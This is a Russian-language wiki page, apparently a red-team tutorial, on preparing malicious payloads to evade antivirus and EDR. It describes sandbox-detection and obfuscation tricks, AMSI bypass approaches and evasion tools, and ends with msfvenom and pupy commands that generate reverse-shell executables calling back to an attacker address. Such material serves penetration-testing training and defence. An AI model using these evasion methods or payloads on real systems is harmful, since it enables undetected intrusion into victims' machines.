?????????? ? ????????? ????????

Подготовка нагрузок

При подготовке нагрузок есть необходимость использовать нагрузки и обертки для них с целью обхода их детектирования системами EPP и EDR, которые обнаруживают такие вредоносные программы и не дают им возможности запуститься.

Есть 2 типа детектирования вредоносных нагрузок активными системами защиты:

- Статический анализ
- Динамический анализ

Статический анализ нагрузок

Статическое обнаружение нагрузок достигается путем пометки известных вредоносных строк и массивов байтов в двоичном файле или скрипте, а также извлечением информации из самого файла (например, описание файла, название компании, цифровые подписи, иконка, контрольная сумма и т.д.). Это означает, что при использовании известных общедоступных инструментов вас будет легче поймать, поскольку они, скорее всего, уже были проанализированы и помечены как вредоносные.

Способы обхода статического анализа нагрузок

Существует несколько способов обойти такое обнаружение:

- Шифрование. Если вы шифруете двоичный файл, EPP не сможет обнаружить вашу программу, но вам понадобится какой-то загрузчик для расшифровки и запуска программы в памяти.
- Обфускация. Иногда достаточно изменить некоторые строки в бинарном файле или скрипте, чтобы он прошел мимо EPP, но это может занять много времени, в зависимости от того, что именно вы пытаетесь замаскировать.
- Самописный инструментарий. Если вы разработаете собственные инструменты, то в них не будет известных сигнатур зловредного ПО.

В качестве системы для проверки успешности вашего решения можно использовать такие утилиты, как *DefenderCheck* *(Зеркало: DefenderCheck Яндекс.Диск и DefenderCheck.exe Яндекс.Диск)*

Динамический анализ нагрузок

Динамический анализ — это когда средство защиты запускает ваш двоичный файл в "песочнице" и следит за вредоносной активностью (например, выполняет дампа памяти процессов LSASS или обращение к критически важным файлам и кустам реестра систем и т.д.).

Динамический анализ обойти гораздо сложнее, но есть ряд способов, отличающихся креативностью.

Ключевое, с чем мы пытаемся бороться при динамическом анализе нашего бинарного файла, это то, что в песочнице будет обнаружено действительное предназначение нашего файла через его поведение. Поэтому наша ключевая задача — определить, что наш файл был запущен и находится в песочнице, и скрыть всю возможную опасную активность, которая может быть определена.

Рассмотрим ряд действенных приемов, которые могут быть применены для обхода детектирования:

- Сон перед выполнением. Средствами защиты выделяется достаточно мало времени на анализ файлов, чтобы не прерывать рабочий процесс пользователя, поэтому использование длительного сна может нарушить анализ двоичных файлов. Проблема в том, что многие антивирусные песочницы могут просто пропустить функцию сна в зависимости от того, как она реализована.
- Проверка ресурсов машины. Обычно песочницы имеют очень мало ресурсов для работы (например, < 2 ГБ RAM), иначе они могут замедлить работу машины пользователя. В проверке ресурсов возможно проявить творческий подход, например, проверять температуру процессора или даже скорость вращения куллера, движение пользовательской мыши - не все из возможных проверок будет реализовано в песочнице.
- Проверки для конкретной машины. Если вы хотите нацелиться на пользователя, чья рабочая станция подключена к домену "domain.local", вы можете выполнить проверку домена компьютера на соответствие указанному вами домену, и, если домен не соответствует вашей цели, вы можете заставить вашу программу не переходить в активный режим.

Бесфайловое исполнение

Бесфайловые вредоносные программы — это вариант вредоносного программного обеспечения, связанного с компьютером, которое существует исключительно в виде артефактов в памяти компьютера, то есть в оперативной памяти.

Такие программы не записывают никаких фрагментов своей деятельности на жесткий диск компьютера, что повышает ее способность обходить антивирусное программное обеспечение, которое включает в себя файловые белые списки, обнаружение сигнатур, проверку оборудования, анализ шаблонов, временные метки и т.д.

Вредоносные программы этого типа предназначены для работы в памяти, поэтому их существование в системе длится только до перезагрузки системы.

Противодействие бесфайловому исполнению

В качестве противодействия бесфайловому исполнению были разработаны системы типа: AMSI (Anti-Malware Scan Interface). Функция AMSI интегрирована в следующие компоненты Windows:

- User Account Control, или UAC (повышение уровня установки EXE, COM, MSI или ActiveX).
- PowerShell (сценарии, интерактивное использование и динамическая оценка кода)
- Windows Script Host (wscript.exe и cscript.exe)
- JavaScript и VBScript
- Макросы Office VBA

Это позволяет антивирусным решениям проверять поведение скриптов, раскрывая их содержимое в незашифрованном и не замаскированном виде.

Для обхода подобных решений используются:

- Обфускация,
- Патчинг в памяти
- Отдельные трюки приостановки работы AMSI

Инструменты генерации нагрузок для обхода EPP и EDR

Существует множество инструментов для генерации нагрузок с применением механизмов обфускации, шифрования, замены системных вызовов, использования Proxy DLL и пр.

Некоторые популярные примеры:

- Veil — это инструмент, предназначенный для создания нагрузок metasploit, которые обходят обычные антивирусные решения.
- Freeze — это инструмент создания полезной нагрузки, используемый для обхода средств контроля безопасности EDR с целью скрытного выполнения шеллкода. Freeze использует множество методов не только для удаления EDR userland hooks, но и для выполнения шеллкода таким образом, чтобы обойти другие средства контроля конечных точек.
- SGN — это полиморфный двоичный кодер, предназначенный для наступательных целей безопасности, таких, как генерация статически недетектируемых двоичных полезных нагрузок. Он использует аддитивный цикл обратной связи для кодирования заданных двоичных инструкций, подобно LFSR.

Сравнение нагрузок

1. Подготовим нагрузку для запуска, используя msfvenom — классический инструмент Metasploit Framework, позволяющий генерировать исполняемые файлы из включенных в фреймворк полезных нагрузок.

```
$ mkdir check
$ cd check
```

2. Сгенерируем exe-файл для 64-разрядной версии Windows с C2-агентом Meterpreter, осуществляющим обратное подключение к нашей машине:

```
$ msfvenom -p windows/x64/meterpreter_reverse_tcp -f exe LHOST=10.8.0.14 LPORT=4444 >
loader.exe
```

3. Загрузим файл на VirusTotal и увидим, что он детектируется практически всеми AV-решениями, что естественно, так как этот фреймворк крайне популярен, и при генерировании полезной нагрузки не были применены какие-либо меры для защиты от детекта. Проведем аналогичный эксперимент с pupy rat:

```
>> gen -h
>> gen -f client -A x64 -O windows -o loader-pu.exe
$ cd /tmp/projects/default
```

Как видим, вердикты AV-решений поменялись, и уровень детектируемости незначительно снизился, так как этот фреймворк несколько менее популярен.

4. Выберем другой формат текстовый — файл с кодом на Python:

```
>> gen -f pyinst -A x64 -O windows -o loader.py
```

Этот файл будет детектироваться очень слабо, так как требуемый для запуска этого файла интерпретатор Python встречается крайне редко на Windows-системах обычных пользователей и в корпоративной среде . Поэтому такой вид нагрузок почти не встречается в реальных атаках.

Revision #2
Created 13 October 2025 08:36:28 by Admin
Updated 13 October 2025 08:55:22 by Admin